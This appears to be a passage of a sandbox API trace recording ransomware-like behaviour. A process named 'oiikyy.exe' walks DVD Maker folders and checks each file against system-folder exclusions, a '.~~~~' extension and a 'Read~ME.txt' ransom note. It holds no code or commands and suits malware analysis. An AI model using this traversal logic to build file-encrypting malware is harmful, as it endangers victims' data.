	[0081.800] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.800] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.800] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.800] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.800] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.800] GetCurrentThreadId () returned 0x618
	[0081.800] RtlWakeConditionVariable () returned 0x365f48
	[0081.800] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.800] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.800] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.800] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.800] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.800] GetCurrentThreadId () returned 0x618
	[0081.800] RtlWakeConditionVariable () returned 0x365f48
	[0081.800] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.800] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.800] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.800] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.800] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.801] GetCurrentThreadId () returned 0x618
	[0081.801] RtlWakeConditionVariable () returned 0x365f48
	[0081.801] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x2, cFileName="shatter.png", cAlternateFileName="")) returned 1
	[0081.801] lstrcmpiW (lpString1="shatter.png", lpString2="Windows") returned -1
	[0081.801] lstrcmpW (lpString1="shatter.png", lpString2="oiikyy.exe") returned 1
	[0081.801] StrStrW (lpFirst="shatter.png", lpSrch=".~~~~") returned 0x0
	[0081.801] lstrcmpW (lpString1="shatter.png", lpString2="Read~ME.txt") returned 1
	[0081.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbeb8
	[0081.801] GetCurrentThreadId () returned 0x618
	[0081.801] RtlWakeConditionVariable () returned 0x365f48
	[0081.801] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x2, cFileName="shatter.png", cAlternateFileName="")) returned 0
	[0081.801] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbeb8
	[0081.802] GetCurrentThreadId () returned 0x618
	[0081.802] RtlWakeConditionVariable () returned 0x365f48
	[0081.804] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1
	[0081.804] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Windows") returned -1
	[0081.804] lstrcmpW (lpString1="SpecialOccasion", lpString2=".") returned 1
	[0081.804] lstrcmpW (lpString1="SpecialOccasion", lpString2="..") returned 1
	[0081.804] lstrcmpW (lpString1="SpecialOccasion", lpString2="AppData") returned 1
	[0081.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion", lpSrch="AppData") returned 0x0
	[0081.805] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.805] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion", lpString2="C:\\Windows") returned -1
	[0081.805] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.805] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion", lpString2="C:\\System Volume Information") returned -1
	[0081.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0081.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.808] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.808] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.808] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.809] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.809] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.809] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.809] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.809] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.809] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.809] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.809] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.809] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.809] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0081.809] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0081.809] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0081.809] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0081.809] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0081.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.809] GetCurrentThreadId () returned 0x618
	[0081.810] RtlWakeConditionVariable () returned 0x365f48
	[0081.810] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x2, cFileName="mainscroll.png", cAlternateFileName="")) returned 1
	[0081.810] lstrcmpiW (lpString1="mainscroll.png", lpString2="Windows") returned -1
	[0081.810] lstrcmpW (lpString1="mainscroll.png", lpString2="oiikyy.exe") returned -1
	[0081.810] StrStrW (lpFirst="mainscroll.png", lpSrch=".~~~~") returned 0x0
	[0081.810] lstrcmpW (lpString1="mainscroll.png", lpString2="Read~ME.txt") returned -1
	[0081.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a2e0
	[0081.810] GetCurrentThreadId () returned 0x618
	[0081.810] RtlWakeConditionVariable () returned 0x365f48
	[0081.810] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.810] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.810] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.810] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.810] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.810] GetCurrentThreadId () returned 0x618
	[0081.810] RtlWakeConditionVariable () returned 0x365f48
	[0081.810] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.811] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.811] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.811] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.811] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.811] GetCurrentThreadId () returned 0x618
	[0081.811] RtlWakeConditionVariable () returned 0x365f48
	[0081.811] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.811] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.811] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.811] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.811] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.811] GetCurrentThreadId () returned 0x618
	[0081.811] RtlWakeConditionVariable () returned 0x365f48
	[0081.811] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.811] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.811] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.811] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.812] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.812] GetCurrentThreadId () returned 0x618
	[0081.812] RtlWakeConditionVariable () returned 0x365f48
	[0081.812] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.812] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.812] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.812] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.812] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.812] GetCurrentThreadId () returned 0x618
	[0081.812] RtlWakeConditionVariable () returned 0x365f48
	[0081.812] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.812] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.812] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.812] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.812] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.812] GetCurrentThreadId () returned 0x618
	[0081.812] RtlWakeConditionVariable () returned 0x365f48
	[0081.812] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x2, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1
	[0081.812] lstrcmpiW (lpString1="scenesscroll.png", lpString2="Windows") returned -1
	[0081.813] lstrcmpW (lpString1="scenesscroll.png", lpString2="oiikyy.exe") returned 1
	[0081.813] StrStrW (lpFirst="scenesscroll.png", lpSrch=".~~~~") returned 0x0
	[0081.813] lstrcmpW (lpString1="scenesscroll.png", lpString2="Read~ME.txt") returned 1
	[0081.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.813] GetCurrentThreadId () returned 0x618
	[0081.813] RtlWakeConditionVariable () returned 0x365f48
	[0081.813] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x2, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1
	[0081.813] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="Windows") returned -1
	[0081.813] lstrcmpW (lpString1="specialmainsubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.813] StrStrW (lpFirst="specialmainsubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.813] lstrcmpW (lpString1="specialmainsubpicture.png", lpString2="Read~ME.txt") returned 1
	[0081.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.813] GetCurrentThreadId () returned 0x618
	[0081.813] RtlWakeConditionVariable () returned 0x365f48
	[0081.813] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x2, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.813] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.813] lstrcmpW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned 1
	[0081.813] StrStrW (lpFirst="SpecialNavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.813] lstrcmpW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned 1
	[0081.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.813] GetCurrentThreadId () returned 0x618
	[0081.813] RtlWakeConditionVariable () returned 0x365f48
	[0081.813] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x2, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.814] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.814] lstrcmpW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.814] StrStrW (lpFirst="SpecialNavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.814] lstrcmpW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned 1
	[0081.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0081.814] GetCurrentThreadId () returned 0x618
	[0081.814] RtlWakeConditionVariable () returned 0x365f48
	[0081.814] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x2, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.814] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.814] lstrcmpW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned 1
	[0081.814] StrStrW (lpFirst="SpecialNavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.814] lstrcmpW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned 1
	[0081.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0081.814] GetCurrentThreadId () returned 0x618
	[0081.814] RtlWakeConditionVariable () returned 0x365f48
	[0081.814] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x2, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.814] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.814] lstrcmpW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.814] StrStrW (lpFirst="SpecialNavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.814] lstrcmpW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned 1
	[0081.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0081.814] GetCurrentThreadId () returned 0x618
	[0081.814] RtlWakeConditionVariable () returned 0x365f48
	[0081.814] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x2, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.815] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.815] lstrcmpW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned 1
	[0081.815] StrStrW (lpFirst="SpecialNavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.815] lstrcmpW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned 1
	[0081.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.815] GetCurrentThreadId () returned 0x618
	[0081.815] RtlWakeConditionVariable () returned 0x365f48
